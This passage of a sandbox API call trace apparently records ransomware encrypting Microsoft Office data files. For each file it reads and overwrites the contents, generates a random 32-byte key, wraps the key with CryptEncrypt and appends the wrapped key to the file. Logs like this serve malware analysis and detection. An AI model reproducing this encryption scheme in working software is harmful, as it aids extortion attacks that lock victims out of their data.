returned 1 [0212.462] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x59af4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x59af4, lpOverlapped=0x0) returned 1 [0212.479] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-367348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.479] WriteFile (in: hFile=0x2220, lpBuffer=0x370ab20*, nNumberOfBytesToWrite=0x59af4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x370ab20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x59af4, lpOverlapped=0x0) returned 1 [0212.484] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x59af4 [0212.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.485] WriteFile (in: hFile=0x2220, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.485] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ae0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ae0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.486] CloseHandle (hObject=0x2220) returned 1 [0212.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0212.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.488] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\powerpoint.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.489] ReadFile (in: hFile=0x2220, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x31ca6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x31ca6, lpOverlapped=0x0) returned 1 [0212.494] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-203942, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.494] WriteFile (in: hFile=0x2220, lpBuffer=0x36b1020*, nNumberOfBytesToWrite=0x31ca6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x31ca6, lpOverlapped=0x0) returned 1 [0212.495] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x31ca6 [0212.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.495] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.495] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.496] CloseHandle (hObject=0x2220) returned 1 [0212.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0212.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.497] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.500] ReadFile (in: hFile=0x2220, lpBuffer=0x6f4020, nNumberOfBytesToRead=0x81963, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f4020*, lpNumberOfBytesRead=0x2e1f9bc*=0x81963, lpOverlapped=0x0) returned 1 [0212.527] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-530787, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.527] WriteFile (in: hFile=0x2220, lpBuffer=0x3d2b020*, nNumberOfBytesToWrite=0x81963, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2b020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x81963, lpOverlapped=0x0) returned 1 [0212.532] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x81963 [0212.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.533] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.533] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.533] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.533] CloseHandle (hObject=0x2220) returned 1 [0212.535] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df7c0 | out: pbBuffer=0x30df7c0) returned 1 [0212.535] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6ab0 | out: pbBuffer=0x30f6ab0) returned 1 [0212.535] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\powerpivot.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.537] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x7ebd5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x7ebd5, lpOverlapped=0x0) returned 1 [0212.568] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-519125, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.568] WriteFile (in: hFile=0x2220, lpBuffer=0x372fc00*, nNumberOfBytesToWrite=0x7ebd5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x372fc00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x7ebd5, lpOverlapped=0x0) returned 1 [0212.575] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x7ebd5 [0212.575] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.575] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df7c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.575] WriteFile (in: hFile=0x2220, lpBuffer=0x30df7c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df7c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.576] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6ab0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.576] CloseHandle (hObject=0x2220) returned 1 [0212.578] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfce8 | out: pbBuffer=0x30dfce8) returned 1 [0212.578] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0212.578] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.578] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x12a50, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x12a50, lpOverlapped=0x0) returned 1 [0212.590] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-76368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.590] WriteFile (in: hFile=0x2220, lpBuffer=0x34d0a68*, nNumberOfBytesToWrite=0x12a50, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34d0a68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12a50, lpOverlapped=0x0) returned 1 [0212.591] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12a50 [0212.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.591] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.591] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfce8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfce8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.592] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.592] CloseHandle (hObject=0x2220) returned 1 [0212.598] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfad8 | out: pbBuffer=0x30dfad8) returned 1 [0212.598] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6950 | out: pbBuffer=0x30f6950) returned 1 [0212.599] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\outlookmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.599] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0xeaa1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0xeaa1, lpOverlapped=0x0) returned 1 [0212.611] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-60065, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.611] WriteFile (in: hFile=0x2220, lpBuffer=0x34ccac0*, nNumberOfBytesToWrite=0xeaa1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34ccac0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xeaa1, lpOverlapped=0x0) returned 1 [0212.612] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xeaa1 [0212.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.612] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.612] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfad8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.612] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6950*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6950*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.612] CloseHandle (hObject=0x2220) returned 1 [0212.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0212.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a80 | out: pbBuffer=0x30f6a80) returned 1 [0212.614] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.616] ReadFile (in: hFile=0x2220, lpBuffer=0x6f2020, nNumberOfBytesToRead=0x913cb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f2020*, lpNumberOfBytesRead=0x2e1f9bc*=0x913cb, lpOverlapped=0x0) returned 1 [0212.643] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-594891, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.643] WriteFile (in: hFile=0x2220, lpBuffer=0x3d25020*, nNumberOfBytesToWrite=0x913cb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d25020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x913cb, lpOverlapped=0x0) returned 1 [0212.649] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x913cb [0212.649] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.649] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.649] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.650] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a80*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.650] CloseHandle (hObject=0x2220) returned 1 [0212.651] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0840 | out: pbBuffer=0x30e0840) returned 1 [0212.651] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0212.651] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\outlook.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.653] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x4cd75, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cd75, lpOverlapped=0x0) returned 1 [0212.670] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-314741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.670] WriteFile (in: hFile=0x2220, lpBuffer=0x36fdda0*, nNumberOfBytesToWrite=0x4cd75, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36fdda0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cd75, lpOverlapped=0x0) returned 1 [0212.675] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cd75 [0212.675] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.675] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0840*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.675] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0840*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0840*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.676] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.676] CloseHandle (hObject=0x2220) returned 1 [0212.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0212.678] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.678] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.680] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x263d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x263d, lpOverlapped=0x0) returned 1 [0212.684] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-9789, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.684] WriteFile (in: hFile=0x2220, lpBuffer=0x30e66c0*, nNumberOfBytesToWrite=0x263d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e66c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x263d, lpOverlapped=0x0) returned 1 [0212.684] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x263d [0212.684] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.684] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.684] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfdf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.685] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.685] CloseHandle (hObject=0x2220) returned 1 [0212.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0528 | out: pbBuffer=0x30e0528) returned 1 [0212.686] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.686] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osmuxmui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.686] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x1fa9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1fa9, lpOverlapped=0x0) returned 1 [0212.692] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-8105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.692] WriteFile (in: hFile=0x2220, lpBuffer=0x30e6030*, nNumberOfBytesToWrite=0x1fa9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1fa9, lpOverlapped=0x0) returned 1 [0212.693] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1fa9 [0212.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.693] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0528*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.694] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.694] CloseHandle (hObject=0x2220) returned 1 [0212.695] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0212.695] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0212.695] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.695] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x21cc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x21cc, lpOverlapped=0x0) returned 1 [0212.729] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-8652, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.729] WriteFile (in: hFile=0x2220, lpBuffer=0x30e6250*, nNumberOfBytesToWrite=0x21cc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x21cc, lpOverlapped=0x0) returned 1 [0212.729] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x21cc [0212.729] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.729] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.730] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.730] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.730] CloseHandle (hObject=0x2220) returned 1 [0212.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, 